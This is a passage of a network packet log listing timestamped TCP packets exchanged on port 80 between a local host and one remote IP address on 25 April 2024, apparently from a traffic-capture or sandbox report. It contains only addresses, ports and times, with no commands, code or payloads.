Apr 25, 2024 14:42:04.427004099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427009106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427042961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427054882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427081108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427093983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427119970 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427129984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427158117 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427181005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427197933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427211046 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427234888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427249908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427273035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427278996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427309990 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427320004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427347898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427357912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427387953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427402973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427437067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427438021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427479029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427490950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427516937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427524090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427556038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427567005 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427592993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427629948 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427639961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427666903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427704096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427740097 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427779913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427828074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427889109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427895069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.427928925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.427966118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428003073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428039074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428076982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428144932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428188086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428225994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428234100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428263903 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428280115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428303003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428324938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428342104 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428371906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428380013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428385973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428421974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428426027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428461075 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428473949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428505898 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428510904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428550959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428556919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428591013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428600073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428627968 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428643942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428666115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428680897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428704023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428719044 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428742886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428755045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428780079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428793907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428817987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428829908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428857088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428867102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428901911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.428906918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.428960085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429114103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429153919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429172993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429193020 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429208040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429234028 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429248095 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429274082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429285049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429311991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429321051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429352045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429363966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429393053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429403067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429431915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429439068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429470062 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429481983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429508924 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429521084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429548025 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429554939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429594994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429598093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429644108 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429649115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429685116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429693937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429725885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429735899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429766893 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429778099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429804087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429825068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429842949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429857016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429883003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429893017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429924965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429934025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.429965973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.429979086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430012941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430017948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430062056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430071115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430109024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430111885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430156946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430164099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430202961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430208921 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430244923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430260897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430283070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430289030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430321932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430331945 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430360079 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430373907 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430399895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430413961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430438042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430449963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430476904 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430490017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430515051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430530071 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430552959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430562973 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430593014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430608034 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430630922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430641890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430674076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430682898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430722952 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430722952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430761099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430772066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430799961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430810928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430841923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430852890 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430881977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430895090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430922031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430932045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.430959940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.430973053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.431001902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.431013107 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.431051016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635397911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635446072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635477066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635485888 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635513067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635524988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635533094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635565042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635576010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635603905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635611057 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635648966 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635667086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635704041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.635714054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.635749102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637217045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637255907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637290001 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637296915 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637305975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637347937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637355089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637392998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637404919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637432098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637438059 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637481928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637489080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637527943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637542009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637566090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637573957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637660980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637666941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637698889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637710094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637738943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637749910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637778044 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637789011 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637815952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637821913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637855053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637855053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637892962 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637902021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637933016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637943983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.637969971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.637980938 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638009071 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638015985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638046980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638055086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638088942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638097048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638128042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638138056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638165951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638170004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638205051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638212919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638246059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638257027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638284922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638298988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638324022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638334036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638361931 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638371944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638401985 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638407946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638441086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638448000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638478041 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638493061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638514996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638523102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638554096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638562918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638592958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638601065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638631105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638642073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638669014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638674021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638708115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638730049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638746023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638755083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638783932 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638788939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638823986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638854980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638861895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638890028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638900042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638932943 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638940096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.638947010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.638978958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639002085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639014959 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639048100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639054060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639060020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639091969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639118910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639130116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639151096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639168024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639197111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639204979 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639218092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639244080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639256954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639281988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639293909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639319897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639352083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639358997 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639363050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639395952 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639417887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639434099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639461994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639472008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639493942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639509916 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639528036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639548063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639580965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639584064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639594078 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639622927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639646053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639661074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639686108 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639698982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639702082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639739037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639743090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639777899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639801979 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639817953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639844894 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639854908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639858007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639894009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639919996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639931917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639969110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:04.639971972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:04.639986038 CEST	49731	80	192.168.2.4	185.172.128.76
